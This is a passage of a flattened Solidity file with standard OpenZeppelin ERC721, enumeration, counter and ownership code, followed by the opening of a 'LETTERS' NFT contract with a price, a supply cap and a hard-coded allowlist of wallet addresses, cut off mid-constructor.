queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\extensions\IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: node_modules\openzeppelin-solidity\contracts\utils\Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: node_modules\openzeppelin-solidity\contracts\utils\Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: node_modules\openzeppelin-solidity\contracts\utils\Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: node_modules\openzeppelin-solidity\contracts\utils\introspection\ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\extensions\IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: openzeppelin-solidity\contracts\token\ERC721\extensions\ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require( index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds" ); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require( index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds" ); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts\lib\Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); { counter._value = value - 1; } } } // File: openzeppelin-solidity\contracts\access\Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.8.0; contract LETTERS is ERC721Enumerable, Ownable { using Counters for Counters.Counter; using Strings for uint256; uint256 public constant LETTERS_PUBLIC = 1000; uint256 public constant LETTERS_MAX = LETTERS_PUBLIC; uint256 public constant PURCHASE_LIMIT = 1; uint256 public allowListMaxMint = 1; uint256 public constant PRICE = 100_000_000_000_000_000; // 0.1 ETH string private _contractURI = ""; string private _tokenBaseURI = ""; bool private _isActive = false; bool public isAllowListActive = false; mapping(address => bool) private _allowList; mapping(address => uint256) private _allowListClaimed; Counters.Counter private _publicLETTERS; constructor() ERC721("Letters", "LETTERS") { _allowList[0x7BF0688Fc3ab0CFdD00E48673b3A0D6128DF33Dc]=true; _allowList[0xc28FA41bcc3964Fa784e2793e3915FE4d4dF8d3E]=true; _allowList[0x13Fd300cd3E3DB045Fd420dDB3030eE55108Db4E]=true; _allowList[0x83002509A1836cE8030041FeB36C9D15511423F1]=true; _allowList[0x36Fa11f6715A5E440871F531030Ee4E94d7B9309]=true; _allowList[0x69a2D7D53e07E31b184196C895b02620d0Ab0104]=true; _allowList[0xC8932B5B7a6994A7f82087c4D6E8c8D67E6feE5C]=true; _allowList[0xCEB992E5e82C718491f776299d4fe775D9214147]=true; _allowList[0xFc1dF48328D4BAe087899072f0f5f8031BC38fff]=true; _allowList[0x8b01553BcE7f63864058Dc632A25F2b0F56810c2]=true; _allowList[0x5C41BE79c5af91cC019d94E6cF0C999f746136Db]=true; _allowList[0xfc981edae4d567e530f827ec7fED3307C484C5B6]=true; _allowList[0xab7b9801568A05A44E6E3Bb626B27030C763479a]=true; _allowList[0xB5A2370E6e741c6A12c40E6FF8FC6852D38e88cE]=true; 